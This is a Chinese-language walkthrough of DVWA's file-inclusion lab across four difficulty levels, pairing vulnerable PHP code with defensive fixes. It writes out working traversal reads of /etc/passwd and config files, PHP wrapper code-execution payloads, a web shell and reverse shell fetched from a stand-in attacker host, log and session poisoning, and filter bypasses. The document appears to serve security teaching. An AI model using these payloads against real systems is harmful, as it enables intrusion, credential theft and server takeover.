目录
漏洞简介
什么是文件包含(File Inclusion)?
文件包含漏洞允许攻击者通过Web应用程序包含和执行任意文件。分为本地文件包含(LFI)和远程文件包含(RFI)两种。
本地文件包含(LFI - Local File Inclusion):
- 包含服务器上的本地文件
- 读取敏感文件(/etc/passwd, config.php等)
- 结合文件上传获取WebShell
远程文件包含(RFI - Remote File Inclusion):
- 包含远程服务器上的文件
- 直接执行远程恶意代码
- 获取WebShell
危害:
- 读取敏感文件(密码、配置文件)
- 执行任意PHP代码
- 获取WebShell
- 完全控制服务器
- 内网渗透
常见场景:
Low 难度
攻击目标
无任何过滤的文件包含,可直接利用。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
$file = $_GET[ 'page' ];
include( $file );
?>
|
漏洞分析
核心问题:
- 直接包含用户输入 - 没有任何验证
- 无路径限制 - 可以使用
../目录遍历
- 无文件类型检查 - 可以包含任意文件
- 无白名单 - 接受任何文件名
攻击原理:
1 2 3 4 5 6 7 8 9 10 11
| ?page=file1.php include('file1.php');
?page=../../etc/passwd include('../../etc/passwd');
?page=http: include('http://evil.com/shell.php');
|
攻击步骤
步骤1:测试文件包含
测试1:包含其他页面
1 2 3
| ?page=file1.php ?page=file2.php ?page=file3.php
|
测试2:目录遍历
1 2 3
| ?page=../index.php ?page=../../config/config.inc.php ?page=../../../etc/passwd
|
步骤2:读取敏感文件(Linux)
读取/etc/passwd:
1 2 3 4 5
| ?page=../../../etc/passwd ?page=../../../../etc/passwd ?page=../../../../../etc/passwd
<!-- 继续增加../直到成功 -->
|
读取Apache配置:
1 2
| ?page=../../../../etc/apache2/apache2.conf ?page=../../../../etc/httpd/conf/httpd.conf
|
读取MySQL配置:
1 2
| ?page=../../../../etc/my.cnf ?page=../../../../etc/mysql/my.cnf
|
读取PHP配置:
1
| ?page=../../../../etc/php/7.4/apache2/php.ini
|
读取DVWA配置(包含数据库密码):
1
| ?page=../../config/config.inc.php
|
步骤3:读取敏感文件(Windows)
读取系统文件:
1 2 3
| ?page=C:\\Windows\\System32\\drivers\\etc\\hosts ?page=C:\\Windows\\win.ini ?page=C:\\boot.ini
|
读取Web配置:
1 2
| ?page=C:\\xampp\\apache\\conf\\httpd.conf ?page=C:\\wamp\\bin\\apache\\apache2.4.9\\conf\\httpd.conf
|
步骤4:使用PHP伪协议
php://filter读取源码:
1 2 3 4 5
| ?page=php://filter/convert.base64-encode/resource=index.php
|
php://input执行代码(需要POST):
1 2 3 4 5
| POST /dvwa/vulnerabilities/fi/?page=php://input HTTP/1.1
<?php system('whoami'); ?>
|
data://执行代码:
1 2 3 4
| ?page=data://text/plain,<?php system('whoami'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
|
步骤5:远程文件包含(RFI)
前提条件:
- php.ini中
allow_url_include = On
- php.ini中
allow_url_fopen = On
创建恶意PHP文件(shell.php):
1 2 3 4
| <?php
system($_GET['cmd']); ?>
|
上传到攻击者服务器:
1
| http://attacker.com/shell.php
|
包含远程文件:
1
| ?page=http://attacker.com/shell.php&cmd=whoami
|
反弹Shell:
1 2 3 4 5 6
| <!-- shell.php内容 --> <?php
$sock = fsockopen("攻击者IP", 4444); $proc = proc_open("/bin/sh", [0=>$sock, 1=>$sock, 2=>$sock], $pipes); ?>
|
1 2 3 4 5
| nc -lvp 4444
?page=http://attacker.com/shell.php
|
步骤6:日志注入(LFI转RCE)
原理:
将PHP代码写入日志文件,然后通过LFI包含日志文件执行。
步骤:
- 向User-Agent注入PHP代码
1 2 3
| GET /dvwa/vulnerabilities/fi/ HTTP/1.1 Host: dvwa.local User-Agent: <?php system('whoami'); ?>
|
- 包含Apache访问日志
1
| ?page=../../../../var/log/apache2/access.log
|
- 结果:日志中的PHP代码被执行
其他可注入的日志:
1 2 3 4 5 6
| /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/mail.log
|
步骤7:Session文件包含
PHP Session文件位置:
1 2 3
| /var/lib/php/sessions/sess_{PHPSESSID} /var/lib/php5/sess_{PHPSESSID} /tmp/sess_{PHPSESSID}
|
攻击步骤:
- 在其他页面向Session写入恶意代码
- 包含Session文件执行代码
1 2 3 4 5 6 7 8
| <!-- 在其他页面 --> <?php session_start(); $_SESSION['name'] = '<?php system("whoami"); ?>'; ?>
<!-- 包含session文件 --> ?page=../../../../tmp/sess_{你的PHPSESSID}
|
Medium 难度
攻击目标
添加了简单的过滤,但可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
include( $file );
?>
|
新增防护
- 过滤http:// - 防止RFI
- 过滤https:// - 防止HTTPS的RFI
仍存在的漏洞
- 只替换一次 - 可以双写绕过
- 不过滤../ - 目录遍历仍有效
- 不过滤PHP伪协议 - php://filter等仍可用
- 不过滤其他协议 - ftp://, data://等
绕过方法
方法1:目录遍历(仍然有效)
1 2
| ?page=../../../etc/passwd ?page=../../config/config.inc.php
|
方法2:双写绕过
1 2 3 4 5 6 7 8
| 原始:http://evil.com/shell.php 被过滤:evil.com/shell.php
绕过:hthttp://tp://evil.com/shell.php 处理过程: 1. str_replace('http://', '', 'hthttp://tp://evil.com/shell.php') 2. 结果:http://evil.com/shell.php 3. 绕过成功!
|
方法3:大小写混淆(无效)
1 2 3
| ?page=HTTP://evil.com/shell.php ✗ (仍会被过滤) ?page=Http://evil.com/shell.php ✗
|
方法4:使用PHP伪协议
1 2 3 4
| ?page=php://filter/convert.base64-encode/resource=index.php ?page=php://input ?page=data://text/plain,<?php system('whoami'); ?>
|
方法5:使用其他协议
1 2
| ?page=ftp://evil.com/shell.php ?page=file:///etc/passwd
|
High 难度
攻击目标
更严格的过滤,但仍可绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
$file = $_GET[ 'page' ];
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
echo "ERROR: File not found!"; exit; }
include( $file );
?>
|
新增防护
- fnmatch()检查 - 文件名必须以
file开头
仍存在的漏洞
关键问题:
1 2 3 4 5 6
| fnmatch("file*", $file)
"file1.php" ✓ 匹配 "file2.php" ✓ 匹配 "file../../../etc/passwd" ✓ 仍然匹配!
|
fnmatch()只检查文件名模式,不限制路径!
绕过方法
方法1:目录遍历(仍有效)
1 2 3
| ?page=file../../../etc/passwd ?page=file../../../../etc/passwd ?page=file../../config/config.inc.php
|
原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 输入:file../../../etc/passwd
fnmatch检查: "file*" 匹配 "file../../../etc/passwd" ✓
include执行: include("file../../../etc/passwd");
实际路径: 当前目录/file../../../etc/passwd = 当前目录/../../../etc/passwd = /etc/passwd
成功读取!
|
方法2:结合NULL字节(PHP < 5.3.4)
1 2 3 4 5 6 7
| ?page=file1.php%00../../etc/passwd
注意:PHP 5.3.4+已修复此漏洞
|
Impossible 难度
攻击目标
使用白名单验证,真正安全。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
$file = $_GET[ 'page' ];
$allowed_files = array( 'include.php', 'file1.php', 'file2.php', 'file3.php' );
if( !in_array( $file, $allowed_files ) ) {
echo "ERROR: File not found!"; exit; }
include( $file );
?>
|
完善的防护机制
白名单工作原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 允许的文件: - include.php - file1.php - file2.php - file3.php
用户输入:file1.php in_array('file1.php', $allowed_files) → true ✓ include('file1.php') → 执行
用户输入:../../../etc/passwd in_array('../../../etc/passwd', $allowed_files) → false ✗ 拒绝!
用户输入:file1.php%00../../etc/passwd in_array('file1.php%00../../etc/passwd', $allowed_files) → false ✗ 拒绝!
|
为什么无法攻破?
所有攻击都被拒绝:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 尝试1:../../../etc/passwd in_array() → false 结果:ERROR: File not found!
尝试2:file../../../etc/passwd in_array() → false 结果:ERROR: File not found!
尝试3:php: in_array() → false 结果:ERROR: File not found!
尝试4:http: in_array() → false 结果:ERROR: File not found!
尝试5:data: in_array() → false 结果:ERROR: File not found!
|
关键防御点:
- 白名单机制 - 只允许明确列出的文件
- 完全匹配 - 必须完全相同,无法部分匹配
- 无路径解析 - 不解析../或其他路径操作
- 拒绝一切未知 - 默认拒绝策略
防御建议
代码层面
1. 使用白名单(最佳方案)
1 2 3 4 5 6 7 8 9
| $whitelist = ['page1.php', 'page2.php', 'page3.php'];
if (!in_array($_GET['page'], $whitelist)) { die('Invalid page'); }
include($_GET['page']);
|
2. 禁用危险功能
1 2 3
| allow_url_fopen = Off allow_url_include = Off
|
3. 使用basename()限制路径
1 2 3 4 5 6 7
|
$file = basename($_GET['page']);
include($file . '.php');
|
4. 限制包含目录
1 2 3 4 5 6 7 8 9 10 11
|
$base_dir = '/var/www/html/includes/'; $file = realpath($base_dir . $_GET['page']);
if (strpos($file, $base_dir) !== 0) { die('Access denied'); }
include($file);
|
5. 使用Switch语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| switch($_GET['page']) { case 'home': include('home.php'); break; case 'about': include('about.php'); break; case 'contact': include('contact.php'); break; default: include('404.php'); }
|
系统层面
最小权限
- Web进程使用低权限用户(www-data)
- 限制可读文件
禁用危险函数
1 2
| disable_functions = system,exec,passthru,shell_exec,proc_open,popen
|
开启open_basedir
1 2
| open_basedir = /var/www/html/
|
监控层面
日志监控
- 记录所有include/require操作
- 检测../模式
WAF规则
- 检测../模式
- 检测php://、data://等伪协议
- 检测/etc/passwd等敏感文件
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 输入验证 |
❌ |
str_replace |
fnmatch |
白名单 |
| 过滤内容 |
无 |
http://, https:// |
无(只检查格式) |
N/A |
| 目录遍历 |
✓ 可行 |
✓ 可行 |
✓ 可行 |
✗ 不可行 |
| RFI |
✓ 可行 |
✓ 可绕过 |
✓ 可行 |
✗ 不可行 |
| PHP伪协议 |
✓ 可行 |
✓ 可行 |
✓ 可行 |
✗ 不可行 |
| 攻击难度 |
极易 |
简单 |
简单 |
不可能 |
常用Payload集合
LFI(本地文件包含)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <!-- 目录遍历 --> ../../../etc/passwd ../../../../etc/passwd ../../../../../../etc/passwd
<!-- Windows --> ../../../windows/win.ini C:\\Windows\\System32\\drivers\\etc\\hosts
<!-- 敏感文件 --> ../../../etc/shadow ../../../etc/my.cnf ../../config/config.inc.php ../../../var/log/apache2/access.log
|
RFI(远程文件包含)
1 2 3
| http://evil.com/shell.php https://evil.com/shell.txt ftp://evil.com/shell.php
|
PHP伪协议
1 2 3 4 5 6 7 8 9 10 11 12 13
| php://filter/convert.base64-encode/resource=index.php php://filter/read=string.rot13/resource=index.php
php://input (需要POST数据)
data://text/plain,<?php system('whoami'); ?> data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
expect://whoami
|
NULL字节绕过(PHP < 5.3.4)
1 2
| file.php%00 ../../../etc/passwd%00
|
实战建议
学习路径:
- Low难度 - 理解LFI和RFI原理
- Medium难度 - 学习绕过str_replace
- High难度 - 理解fnmatch绕过
- Impossible难度 - 掌握白名单防御
攻击技巧:
- 从../开始,逐步增加层级
- 尝试各种PHP伪协议
- 结合日志注入
- 结合文件上传
工具推荐:
- Burp Suite - 请求修改
- LFISuite - 自动化LFI利用
- Kadimus - LFI/RFI扫描
道德准则:
- 只在授权环境测试
- 不读取真实系统敏感文件
- 学习是为了防御,不是攻击